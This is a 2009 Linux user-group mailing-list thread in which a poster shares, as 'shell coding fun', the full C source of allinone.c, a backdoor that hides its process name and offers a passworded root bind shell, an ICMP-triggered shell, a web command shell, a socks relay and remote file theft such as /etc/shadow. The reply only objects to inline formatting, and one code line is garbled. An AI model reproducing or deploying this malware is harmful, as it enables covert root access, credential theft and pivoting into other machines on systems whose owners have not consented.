Linux Security Team Toy Series: allinone.c

Lisa Kachold lisakachold at obnosis.com
Sun Jul 12 21:42:23 MST 2009


http://nasrulkurniawan.blog.uns.ac.id/2007/05/03/allinonec/

On Sun, Jul 12, 2009 at 8:29 PM, Ryan Rix<phrkonaleash at gmail.com> wrote:
> On Sun 12 July 2009 7:49:13 pm Lisa Kachold wrote:
>> Shell coding fun with ICMP/HTTP, Socks proxy.
>>
>> AllINONE.c
>>
>> /************************************************************************
>> * allinone.c for HUC (2002.1)
>> *
>> * allinone.c is
>> * a Http server,
>> * a sockets transmit server,
>> * a shell backdoor,
>> * a icmp backdoor,
>> * a bind shell backdoor,
>> * a like http shell,
>> * it can translate file from remote host,
>> * it can give you a socks5 proxy,
>> * it can use for to attack, jumps the extension, Visits other machines.
>> * it can give you a root shell.:)
>> *
>> * Usage:
>> * compile:
>> * gcc -o allinone allinone.c -lpthread
>> * run on target:
>> * ./allinone
>> *
>> * 1.httpd server
>> * Client:
>> * http://target:8008/givemefile/etc/passwd
>> * lynx -dump http://target:8008/givemefile/etc/shadow > shadow
>> * or wget http://target:8008/givemefile/etc/shadow
>> *
>> * 2.icmp backdoor
>> * Client:
>> * ping -l 101 target (on windows)
>> * ping -s 101 -c 4 target (on linux)
>> * nc target 8080
>> * kissme:)   --> your password
>> *
>> * 3.shell backdoor
>> * Client:
>> * nc target 8008
>> * kissme:)   --> your password
>> *
>> * 4.bind a root shell on your port
>> * Client:
>> * http://target:8008/bindport:9999
>> * nc target 9999
>> * kissme:)   --> your password
>> *
>> * 5.sockets transmit
>> * Client:
>> * http://target:8008/socks/:local listen port::you want to tran
>> ip:::you want to tran port
>> * http://target:8008/socks/:1080::192.168.0.1:::21
>> * nc target 1080
>> *
>> * 6.http shell
>> * Client:
>> * http://target:8008/givemeshell:ls -al (no pipe)
>> *
>> * ps:
>> * All bind shell have a passwd, default is: kissme:)
>> * All bind shell will close, if Two minutes do not have the connection.
>> * All bind shell only can use one time until reactivates.
>> *
>> *
>> * Code by lion, e-mail: lion at cnhonker.net
>> * Welcome to HUC Website, Http://www.cnhonker.com
>> *
>> * Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others)
>> * Thx bkbll's Transmit code, and thx Neil,con,iceblood for test.
>> *
>> ************************************************************************/
>>
>>
>> #include <stdio.h>
>> #include <string.h>
>> #include <signal.h>
>> #include <netdb.h>
>> #include <netinet/ip.h>
>> #include <netinet/in.h>
>> #include <sys/wait.h>
>> #include <sys/socket.h>
>> #include <sys/types.h>
>> #include <sys/time.h>
>> #include <pthread.h>
>> #include <unistd.h>
>> #include <fcntl.h>
>> #include <errno.h>
>>
>>
>> #define HTTPD_PORT    8008
>> #define BIND_PORT     8888
>> #define ICMP_PORT     8080
>> #define TRAN_PORT     1080
>> #define SIZEPACK      101
>> #define MAXSIZE               32768
>> #define TIMEOUT               120
>> #define CONNECT_NUMBER        1
>> #define HIDEME                "[login]       "
>> #define HIDEICMP      "[su]       "
>> #define HIDEFILE      "[bash]       "
>> #define GET_FILE      "givemefile"
>> #define SHELL_NAME    "givemeshell"
>> #define BIND_NAME     "bindport"
>> #define TRAN_NAME     "socks"
>> #define DISPART               ":"
>> #define DISPART1      "::"
>> #define DISPART2      ":::"
>> #define PASSWORD      "kissme:)"      /* Change it */
>> #define MESSAGE               "\r\n========Welcome to
>> http://www.cnhonker.com========\r\n==========You got it, have a
>> goodluck. :)=========\r\n\r\nYour command: \0"
>> #define GIVEPASS      "\r\nEnter Your password: \0"
>>
>> #define max(a, b) (a)>(b)?(a) : (b)
>>
>> int maxfd, infd, outfd;
>> unsigned char ret_buf[32768];
>>
>> int   daemon_init();          /* init the daemon, if success return 0 other <0 */
>> void  sig_chid();             /* wait the child die */
>> int   TCP_listen();           /* success return 1 else return -1 */
>> char* read_file();            /* return the file content as a large string, buf
>> value like GET /index.html HTTP:/1.1 */
>> ssize_t       writen_file();          /* writen data to socket */
>> int   bind_shell();           /* bind a root shell to a port */
>> int   get_shell();            /* get me the root shell */
>> int   icmp_shell();           /* icmp backdoor */
>> int   socks();                /* socks */
>> int   create_socket();
>> int   create_serv();
>> int   client_connect();
>> int   quit();
>> void  out2in();
>> char  x2c();                  /* http shell */
>> void  unescape_url();
>> void  plustospace();
>>
>>
>> /* The main function from here */
>> int main(int argc, char *argv[])
>> {
>>       int fd, len, i, icmp;
>>       int csocket;
>>       struct sockaddr_in caddr;
>>       char readstr[4000];
>>       char *cbuf;
>>       pid_t pid;
>>
>>       /* make it to a daemon */
>>       /*signal(SIGHUP, SIG_IGN);*/
>>       signal(SIGCHLD, sig_chid);
>>       daemon_init();
>>
>>       if((pid = fork()) == -1) exit(0);
>>       if(pid <= 0)
>>       {
>>               strcpy(argv[0], HIDEICMP);
>>               icmp_shell();
>>       }
>>
>>       fd = TCP_listen(HTTPD_PORT);
>>       if(fd <= 0) return -1;
>>
>>       for(;;)
>>       {
>>               strcpy(argv[0], HIDEME);
>>
>>               /* check httpd */
>>               len = sizeof(caddr);
>>               if((csocket = accept(fd, &caddr, &len)) < 0) continue;
>>               if((pid = fork()) == -1) continue;
>>               if(pid <= 0)
>>               {
>>                       strcpy (argv[0], HIDEFILE);
>>                       i = recv(csocket, readstr, 4000,0);
>>                       if (i == -1) break;
>>                       if( readstr[ i -1 ] != '\n' ) break;
>>                       readstr [i] = '\0';
>>                       /*printf("Read from client: %s \n", readstr);*/
>>                       cbuf = read_file(readstr, csocket);
>>                       close(csocket);
>>               }
>>               close(csocket);
>>       }
>>       close(fd);
>>       return(1);
>> }
>>
>>
>> /* init the daemon, if success return 0 other <0 */
>> int daemon_init()
>> {
>>       struct sigaction act;
>>       int i, maxfd;
>>
>>       if(fork() != 0) exit(0);
>>       if(setsid() < 0) return(-1);
>>
>>       act.sa_handler = SIG_IGN;
>>       /*act.sa_mask = 0;*/
>>       act.sa_flags = 0;
>>
>>       sigaction(SIGHUP, &act, 0);
>>
>>       if(fork() != 0) exit(0);
>>
>>       chdir("/");
>>       umask(0);
>>       maxfd = sysconf(_SC_OPEN_MAX);
>>       for(i=0; i<maxfd; i++)
>>       close(i);
>>       open("/dev/null", O_RDWR);
>>       dup(0);
>>       dup(1);
>>       dup(2);
>>       return(0);
>> }
>>
>>
>> /* wait the child die */
>> void sig_chid(int signo)
>> {
>>       pid_t pid;
>>       int stat;
>>       while((pid = waitpid(-1, &stat, WNOHANG))>0);
>>       printf("children %d died\n", pid);
>>       return;
>> }
>>
>> /* success return 1 else return -1 */
>> int TCP_listen(int port)
>> {
>>       struct sockaddr_in laddr ;
>>       int fd;
>>       socklen_t len ;
>>       fd = socket(AF_INET, SOCK_STREAM, 0);
>>       len = sizeof(laddr) ;
>>       memset(&laddr, 0, len) ;
>>       laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
>>       laddr.sin_family = AF_INET ;
>>       laddr.sin_port = htons(port) ;
>>       if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1);
>>       if(listen(fd, 5)) return(-1);
>>       return(fd);
>> }
>>
>> /* http server */
>> char * read_file(char *buf, int fd)
>> {
>>       char *erro=
>>       "Content-type: text/html\n\n"
>>       "HTTP/1.1 404 Not Found\n"
>>       "Date: Mon, 14 Jan 2002 03:19:55 GMT\n"
>>       "Server: Apache/1.3.22 (Unix)\n"
>>       "Connection: close\n"
>>       "Content-Type: text/html\n\n"
>>       "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 4.0//EN\">\n"
>>       "<HTML><HEAD>\n"
>>       "<TITLE>404 Not Found</TITLE>\n"
>>       "</HEAD><BODY>\n"
>>       "<H1>Not Found</H1>\n"
>>       "The requested URL was not found on this server.<P>\n"
>>       "<HR>\n"
>>       "<ADDRESS>Apache/1.3.22 Server at localhost Port 8008</ADDRESS>\n"
>>       "</BODY></HTML>\n\n";
>>
>>       char *bindok=
>>       "Content-type: text/html\n\n"
>>       "<html>\n<head><title>Bind Shell ok.:)</title></head>\n"
>>       "<body bgcolor=\"#000000\">\n"
>>       "<div align=\"center\"><p>\n"
>>       "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n"
>>       "You get it, goodluck! :-)\n"
>>       "</b></font></p></div><br>\n"
>>       "</body></html>\n\n";
>>
>>       char *tranok=
>>       "Content-type: text/html\n\n"
>>       "<html>\n<head><title>Tran ok.:)</title></head>\n"
>>       "<body bgcolor=\"#000000\">\n"
>>       "<div align=\"center\"><p>\n"
>>       "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n"
>>       "Tran ok!\n"
>>       "</b></font></p></div><br>\n"
>>       "</body></html>\n\n";
>>
>>       char *httpok1=
>>       "Content-type: text/html\n\n"
>>       "<html>\n<head><title>Shell ok.:)</title></head>\n"
>>       "<body bgcolor=\"#000000\">\n"
>>       "<div align=\"left\">\n"
>>       "<pre><font face=\"Arial\" color=\"#999999\" size=\"2\">\n";
>>
>>       char *httpok2=
>>       "</font></pre></div><br>\n"
>>       "</body></html>\n\n";
>>
>>       char *yourcom=
>>       "<b>Your Command:</b>\n";
>>
>>       char *br=
>>       "<br>\n";
>>
>>       int listenp, targetp, i, j, c, bport;
>>       char *cmd, *par, *op, *hp, *tp, *targeth, *command;
>>       char *swap_file = "/tmp/tmp.txt";
>>       char *setpath =
>> "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:.";
>>       FILE *f;
>>
>>       /* check give me shell */
>>       cmd = buf;
>>       par = strstr(cmd, PASSWORD);
>>       if(par != NULL)
>>       {
>>               /*printf("Get Shell:\n");*/
>>               get_shell(fd);
>>               exit(0);
>>       }
>>
>>       /* check bind root shell on a port */
>>       par = strstr(cmd, BIND_NAME);
>>       op = strstr(cmd, DISPART);
>>       if(par != NULL && op != NULL)
>>       {
>>               bport = atoi(op + strlen(DISPART));
>>               if(bport <= 0)
>>                       bport = BIND_PORT;
>>               /*printf("Bind Port: %d\n", bport);*/
>>               write(fd, bindok, strlen(bindok));
>>               close(fd);
>>               bind_shell(bport);
>>               exit(0);
>>       }
>>
>>       /* check Tran code */
>>       par = strstr(cmd, TRAN_NAME);
>>       op = strstr(cmd, DISPART);
>>       hp = strstr(cmd, DISPART1);
>>       tp = strstr(cmd, DISPART2);
>>       if(par != NULL && op != NULL && hp != NULL && tp != NULL)
>>       {
>>               listenp = atoi(op + strlen(DISPART));
>>               if(listenp <= 0)
>>               listenp = TRAN_PORT;
>>               targetp = atoi(tp + strlen(DISPART2));
>>               if(targetp <= 0)
>>                       targetp = 23;
>>
>>               hp = (hp + strlen(DISPART1));
>>               targeth = strncpy(ret_buf, hp,strlen(hp) - strlen(tp));
>>               targeth[strlen(hp) - strlen(tp)] = '\0';
>>
>>               /*printf("Tran Port: listen %d port to %s %d port\n", listenp,
>> targeth, targetp);*/
>>               write(fd, tranok, strlen(tranok));
>>               close(fd);
>>               /*
>>               listenp = 1080;
>>               targetp = 21;
>>               targeth = "192.168.0.14";
>>               */
>>               socks(listenp, targeth, targetp);
>>               exit(0);
>>       }
>>
>>       /* check http shell */
>>       par = strstr(cmd, SHELL_NAME);
>>       op = strstr(cmd, DISPART);
>>       if(par != NULL && op != NULL)
>>       {
>>               tp = buf + 5 + strlen(SHELL_NAME) + strlen(DISPART);
>>               hp = strstr(tp, "HTTP");
>>               if(hp != NULL) *hp = '\0';
>>               tp[strlen(tp) - 1] = 0;
>>               plustospace(tp);
>>               unescape_url(tp);
>>               /*printf("HTTP Shell: %s\n", tp);*/
>>
>>               c = j = strlen(tp);
>>               tp[j] = ' ';j++;
>>               tp[j] = ' ';j++;
>>               tp[j] = '>';j++;
>>               tp[j] = ' ';j++;
>>               for(i = 0; i <= strlen(swap_file); i++, j++)
>>               {
>>                       tp[j] = swap_file[i];
>>               }
>>               tp[j + strlen(swap_file)] = '\0';
>>
>>               command = tp;
>>               /*printf("command: %s\n",command); */
>>               setuid(0);
>>               setgid(0);
>>               chdir("/");
>>               putenv(setpath);
>>               /*printf("setpath ok!\n");*/
>>               system(command);
>>               /*printf("system ok!\n");*/
>>
>>               f = fopen(swap_file, "r");
>>               if (f == NULL)
>>               {
>>                       /*printf("Swap file error");*/
>>                       writen_file(fd, erro, strlen(erro));
>>                       return erro;
>>               }
>>
>>               writen_file(fd, httpok1, strlen(httpok1));
>>               writen_file(fd, yourcom, strlen(yourcom));
>>               writen_file(fd, command, c);
>>               writen_file(fd, br, strlen(br));
>>               writen_file(fd, br, strlen(br));
>>               while( !feof(f) )
>>               {
>>                       i = fread(ret_buf, 1, 32768, f);
>>                       if (i == 0) break;
>>                       writen_file(fd, ret_buf, i);
>>               }
>>               fclose(f);
>>               writen_file(fd, br, strlen(br));
>>               writen_file(fd, httpok2, strlen(httpok2));
>>               remove(swap_file);
>>               exit(0);
>>       }
>>
>>       /* check getfile */
>>       par = NULL;
>>       par = strstr(cmd, GET_FILE);
>>       if(par != NULL)
>>       {
>>               op = buf + 5 + strlen(GET_FILE);
>>               tp = strstr(op, "HTTP");
>>               if(tp != NULL) *tp = '\0';
>>               op[strlen(op) - 1] = 0;
>>               /*printf("Get File: %s\n", op);*/
>>               f = fopen(op, "r");
>>               if (f == NULL)
>>               {
>>                       writen_file(fd, erro, strlen(erro));
>>                       return erro;
>>               }
>>
>>               while( !feof(f) )
>>               {
>>                       i = fread(ret_buf, 1, 32768, f);
>>                       if (i == 0) break;
>>                       writen_file(fd, ret_buf, i);
>>               }
>>               fclose(f);
>>               exit(0);
>>       }
>>       writen_file(fd, erro, strlen(erro));
>>       close(fd);
>>       exit(-1);
>> }
>>
>>
>> /* writen data to socket */
>> ssize_t writen_file(int fd, const void *vptr, size_t n)
>> {
>>       size_t nleft;
>>       ssize_t nwritten;
>>       const char *ptr;
>>       ptr = vptr;
>>       nleft = n;
>>       while(nleft > 0)
>>       {
>>               if((nwritten = write(fd, ptr, nleft)) <= 0)
>>               {
>>                       if(errno == EINTR)
>>                       nwritten = 0;
>>                       else
>>                       return(-1);
>>               }
>>               nleft -= nwritten;
>>               ptr += nwritten;
>>       }
>>       return(n);
>> }
>>
>> /* bind root shell to a port */
>> int bind_shell(int port)
>> {
>>       int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time;
>>       char passwd[15];
>>
>>       struct sockaddr_in serv_addr;
>>       struct sockaddr_in client_addr;
>>       struct timeval testtime;
>>
>>       setuid(0);
>>       setgid(0);
>>       seteuid(0);
>>       setegid(0);
>>
>>       chdir("/");
>>
>>       soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
>>
>>       if (soc_des == -1)
>>               exit(-1);
>>
>>       bzero((char *) &serv_addr,sizeof(serv_addr));
>>       serv_addr.sin_family = AF_INET;
>>       serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
>>       serv_addr.sin_port = htons(port);
>>
>>       soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
>>
>>       if (soc_rc != 0)
>>               exit(-1);
>>       if (fork() != 0)
>>               exit(0);
>>       setpgrp();
>>       if (fork() != 0)
>>               exit(0);
>>       soc_rc = listen(soc_des, 5);
>>       if (soc_rc != 0)
>>               exit(0);
>>
>>       testtime.tv_sec = TIMEOUT;
>>       testtime.tv_usec = 0;
>>
>>       /*setsockopt(soc_des, SOL_SOCKET, SO_RCVTIMEO, &testtime,
>> sizeof(testtime));*/
>>
>>       alarm(TIMEOUT);
>>       soc_len = sizeof(client_addr);
>>       soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
>>
>>       if (soc_cli < 0)
>>               exit(0);
>>       alarm(0);
>>
>>       cli_pid = getpid();
>>       server_pid = fork();
>>
>>       if (server_pid != 0)
>>       {
>>               write(soc_cli, GIVEPASS, strlen(GIVEPASS));
>>               recv(soc_cli, passwd, sizeof(passwd), 0);
>>
>>               for (i = 0; i < strlen(passwd); i++)
>>               {
>>                       if (passwd[i] == '\n' || passwd[i] == '\r')
>>                       {
>>                               passwd[i] = '\0';
>>                       }
>>               }
>>
>>               if (strcmp(passwd, PASSWORD) != 0)
>>               {
>>                       close(soc_cli);
>>                       close(soc_rc);
>>                       exit(-1);
>>               }
>>
>>               write(soc_cli, MESSAGE, strlen(MESSAGE));
>>               for (i = 0; i < 3; i++)
>>               {
>>                       dup2(soc_cli, i);
>>               }
>>
>>               execl("/bin/sh","sh",(char *)0);
>>               close(soc_cli);
>>               close(soc_rc);
>>               exit(1);
>>       }
>>       close(soc_cli);
>>       close(soc_rc);
>>       exit(0);
>> }
>>
>> /* return a root shell */
>> int get_shell(int fd)
>> {
>>       int i;
>>       setuid(0);
>>       setgid(0);
>>
>>       chdir("/");
>>       write(fd, MESSAGE, strlen(MESSAGE));
>>       for (i = 0; i < 3; i++)
>>       {
>>               dup2(fd, i);
>>       }
>>       execl("/bin/sh","sh",(char *)0);
>>       close(fd);
>>       return 1;
>> }
>>
>> /* icmp backdoor */
>> int icmp_shell()
>> {
>>       int i, s, size, fromlen, port = ICMP_PORT;
>>       char pkt[4096];
>>
>>       struct protoent *proto;
>>       struct sockaddr_in from;
>>
>>       proto = getprotobyname("icmp");
>>
>>       /* can't creat raw socket */
>>       if((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
>>       exit(0);
>>
>>       /* waiting for packets */
>>       while(1)
>>       {
>>               do
>>               {
>>                       fromlen = sizeof(from);
>>                       if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr
>> *)&from, &fromlen)) < 0)
>>                       printf("", size - 28);
>>               }while(size != SIZEPACK + 28);
>>
>>               /* size == SIZEPACK, let's bind the shell on your port :)*/
>>               switch(fork())
>>               {
>>               case -1:
>>                       continue;
>>
>>               case 0:
>>                       bind_shell(port);
>>               exit (0);
>>               }
>>       }
>>       return 1;
>> }
>>
>> /* tran socks code */
>> int socks(int listenp, char *targeth, int targetp)
>> {
>>       int listfd, outside, inside, size;
>>       pthread_t thread1;
>>       struct sockaddr_in client;
>>
>>       if(!(listfd = create_socket())) exit(1);
>>       if(!(create_serv(listfd, listenp))) exit(1);
>>
>>       for(;;)
>>       {
>>               size = sizeof(struct sockaddr);
>>               /*printf("waiting for response.........\n");*/
>>               if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) < 0)
>>               {
>>                       /*printf("accept error\n");*/
>>                       continue;
>>               }
>>
>>               /*printf("accept a client from %s\n", inet_ntoa(client.sin_addr));*/
>>               if(!(infd=create_socket())) exit(1);
>>               if(!(client_connect(infd, targeth, targetp))) quit(outfd, infd, listfd);
>>
>>               maxfd = max(outfd, infd) + 1;
>>               pthread_create(&thread1, NULL, (void *)&out2in, NULL);
>>       }
>>       close(listfd);
>> }
>>
>> int create_socket()
>> {
>>       int sockfd;
>>
>>       if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0)
>>       {
>>               /*printf("Create socket error\n");*/
>>               return(0);
>>       }
>>       return(sockfd);
>> }
>>
>> int create_serv(int sockfd, int port)
>> {
>>       struct sockaddr_in srvaddr;
>>
>>       bzero(&srvaddr, sizeof(struct sockaddr));
>>       srvaddr.sin_port = htons(port);
>>       srvaddr.sin_family = AF_INET;
>>       srvaddr.sin_addr.s_addr = htonl(INADDR_ANY);
>>
>>       if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0)
>>       {
>>               /*printf("Bind to port %d error\n",port);*/
>>               return(0);
>>       }
>>
>>       if(listen(sockfd,CONNECT_NUMBER)<0)
>>       {
>>               /*printf("listen error\n");*/
>>               return(0);
>>       }
>>       return(1);
>> }
>>
>> int client_connect(int sockfd, char *server, int port)
>> {
>>       struct sockaddr_in cliaddr;
>>       struct hostent *host;
>>
>>       if(!(host = gethostbyname(server)))
>>       {
>>               /*printf("gethostbyname error:%s\n",server);*/
>>               return(0);
>>       }
>>
>>       bzero(&cliaddr, sizeof(struct sockaddr));
>>       cliaddr.sin_family = AF_INET;
>>       cliaddr.sin_port = htons(port);
>>       cliaddr.sin_addr = *((struct in_addr *)host->h_addr);
>>
>>       if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr)) <
>> 0) {
>>               /*printf("connect %s:%d error\n",server,port);*/
>>               return(0);
>>       }
>>       return(1);
>> }
>>
>> int quit(int a, int b, int c)
>> {
>>       close(a);
>>       close(b);
>>       close(c);
>>       exit(1);
>> }
>>
>> void out2in()
>> {
>>       struct timeval timeset;
>>       fd_set readfd, writefd;
>>       int result, i = 0;
>>       char read_in1[MAXSIZE], send_out1[MAXSIZE];
>>       char read_in2[MAXSIZE], send_out2[MAXSIZE];
>>       int read1 = 0, totalread1 = 0, send1=0;
>>       int read2 = 0, totalread2 = 0, send2=0;
>>       int out_fd, in_fd;
>>
>>       out_fd = outfd;
>>       in_fd = infd;
>>
>>       bzero(read_in1, MAXSIZE);
>>       bzero(read_in2, MAXSIZE);
>>       bzero(send_out1, MAXSIZE);
>>       bzero(send_out2, MAXSIZE);
>>
>>       timeset.tv_sec = TIMEOUT;
>>       timeset.tv_usec = 0;
>>
>>       while(1)
>>       {
>>               FD_ZERO(&readfd);
>>               FD_ZERO(&writefd);
>>
>>               FD_SET(out_fd, &readfd);
>>               FD_SET(in_fd, &writefd);
>>               FD_SET(out_fd, &writefd);
>>               FD_SET(in_fd, &readfd);
>>
>>               result = select(maxfd, &readfd, &writefd, NULL, °¡et);
>>               if(result < 0)
>>               {
>>                       /*printf("select error\n");*/
>>                       return;
>>               }
>>               else
>>               if(result == 0)
>>               {
>>                       /*printf("time out\n");*/
>>                       return;
>>               }
>>
>>               if(FD_ISSET(out_fd, &readfd))
>>               {
>>                       read1 = recv(out_fd, read_in1, MAXSIZE, 0);
>>                       if(read1 == 0) break;
>>                       if(read1 < 0)
>>                       {
>>                               /*printf("read data error\n");*/
>>                               return;
>>                       }
>>                       memcpy(send_out1 + totalread1, read_in1, read1);
>>                       totalread1 += read1;
>>                       bzero(read_in1, MAXSIZE);
>>               }
>>               if(FD_ISSET(in_fd, &writefd))
>>               {
>>                       while(totalread1 > 0)
>>                       {
>>                               send1 = write(in_fd, send_out1, totalread1);
>>                               if(send1 == 0)break;
>>                               if(send1 < 0)
>>                               {
>>                                       /*printf("unknow error\n");*/
>>                                       continue;
>>                               }
>>                               totalread1 -= send1;
>>                       }
>>                       bzero(send_out1, MAXSIZE);
>>               }
>>
>>               if(FD_ISSET(in_fd, &readfd))
>>               {
>>                       read2 = recv(in_fd, read_in2, MAXSIZE, 0);
>>                       if(read2 == 0) break;
>>                       if(read2 < 0)
>>                       {
>>                               /*printf("read data error\n");*/
>>                               return;
>>                       }
>>
>>                       memcpy(send_out2 + totalread2, read_in2, read2);
>>                       totalread2 += read2;
>>                       bzero(read_in2, MAXSIZE);
>>               }
>>
>>               if(FD_ISSET(out_fd, &writefd))
>>               {
>>                       while(totalread2 > 0)
>>                       {
>>                               send2 = write(out_fd, send_out2, totalread2);
>>                               if(send2 == 0) break;
>>                               if(send2 < 0)
>>                               {
>>                                       /*printf("unknow error\n");*/
>>                                       continue;
>>                               }
>>
>>                               totalread2 -= send2;
>>                       }
>>                       bzero(send_out2, MAXSIZE);
>>               }
>>       }
>>       close(out_fd);
>>       close(in_fd);
>>       return;
>> }
>>
>> char x2c(char *what)
>> {
>>       register char digit;
>>
>>       digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
>>       digit *= 16;
>>       digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
>>       return (digit);
>> }
>>
>>
>> void unescape_url(char *url)
>> {
>>       register int x, y;
>>
>>       for(x = 0 , y = 0; url[y]; ++x, ++y)
>>       {
>>               if((url[x] = url[y]) == '%')
>>               {
>>                       url[x] = x2c(&url[y + 1]);
>>                       y += 2;
>>               }
>>       }
>>       url[x] = '\0';
>> }
>>
>> void plustospace(char *str)
>> {
>>       register int x;
>>
>>       for(x = 0; str[x]; x++)
>>       if (str[x] == '+')
>>       str[x] = ' ';
>> }
>>
>>
>> endfun
>
> This would be so much better as an attachment so my mail client didn't die
> horribly and it could be translated to a compilable file easily ;)
>
> ---
> Ryan Rix
> (623)-826-0051
>
> Linus Torvalds:
>> This is the special easter release of linux, more mundanely called 1.3.84
> Winfried Truemper:
>> Umh, oh. What do you mean by "special easter release"?. Will it quit
>> working today and rise on easter?
>
> http://hackersramblings.wordpress.com | http://twitter.com/phrkonaleash
> XMPP: phrkonaleash at gmail.com          | MSN: phrkonaleash at yahoo.com
> AIM:  phrkonaleash                    | Yahoo: phrkonaleash
> IRC:  PhrkOnLsh at irc.freenode.net/#srcedit,#teensonlinux,#plugaz and
>      countless other FOSS channels.
>
>
> ---------------------------------------------------
> PLUG-discuss mailing list - PLUG-discuss at lists.plug.phoenix.az.us
> To subscribe, unsubscribe, or to change your mail settings:
> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss
>

Get it here:  http://www.obnosis.com/allinone_c.txt


-- 
http://linuxgazette.net/164/kachold.html
(623)239-3392 Skype: obn0sis
(503)754-4452 www.obnosis.com


More information about the PLUG-discuss mailing list